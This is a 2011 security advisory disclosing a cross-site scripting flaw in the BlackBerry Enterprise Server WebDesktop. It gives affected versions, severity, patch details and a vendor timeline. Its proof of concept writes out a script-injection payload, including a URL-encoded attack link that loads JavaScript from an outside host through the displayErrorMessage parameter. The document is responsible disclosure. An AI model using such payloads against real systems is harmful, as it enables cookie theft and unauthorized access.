Advisory Name: Cross-Site Scripting (XSS) in Blackberry WebDesktop

Internal Cybsec Advisory Id: 2011-0401

Vulnerability Class: Cross-Site Scripting (XSS)

Release Date: 12/04/2011

Affected Applications: 
. BlackBerry Enterprise Server Express versions 5.0.1 and 5.0.2 for Microsoft Exchange
. BlackBerry Enterprise Server Express version 5.0.2 for IBM Lotus Domino
. BlackBerry Enterprise Server versions 5.0.0 through 5.0.3 for Microsoft Exchange and IBM Lotus Domino
. BlackBerry Enterprise Server version 5.0.1 for Novell GroupWise

Affected Platforms: Blackberry Enterprise Server

Local / Remote: Remote 

Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:P/I:N/A:N)

Researcher: Ivan Huertas 

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A Cross Site Scripting vulnerability was found in Blackberry WebDektop, because the application fails to sanitize user-supplied input. The vulnerability can be triggered if a logged user follows a specially crafted link, executing malicious Javascript code on the user's browser.

Proof of Concept: 

Inserting <SCRIPT SRC=http://xxx.xxx.x.xx/CYB.JS/> in the parameter displayErrorMessage would execute the code included in the javascript file CYB.JS.

https://xxx.xxx.x.xxx:3443/webdesktop/app?page=pages/advanced/ManageDevices&service=page&displayErrorMessage=%3CSCRIPT%20SRC%3d%22http%3a%2f%2fxxx.xxx.xxx.xx%2fCYB.JS%22%2f%3E

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.

Solution:

Install the latest release with the instructions included in http://blackberry.com/btsc/KB26296

Vendor Response:

2011-22-02 - Vulnerability was identified
2011-23-02 - Vendor contacted
2011-20-03 - Vendor confirmed vulnerability
2011-12-04 - Vendor released fixed version
2011-12-04 - Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at 
ihuertas <at> cybsec <dot> com

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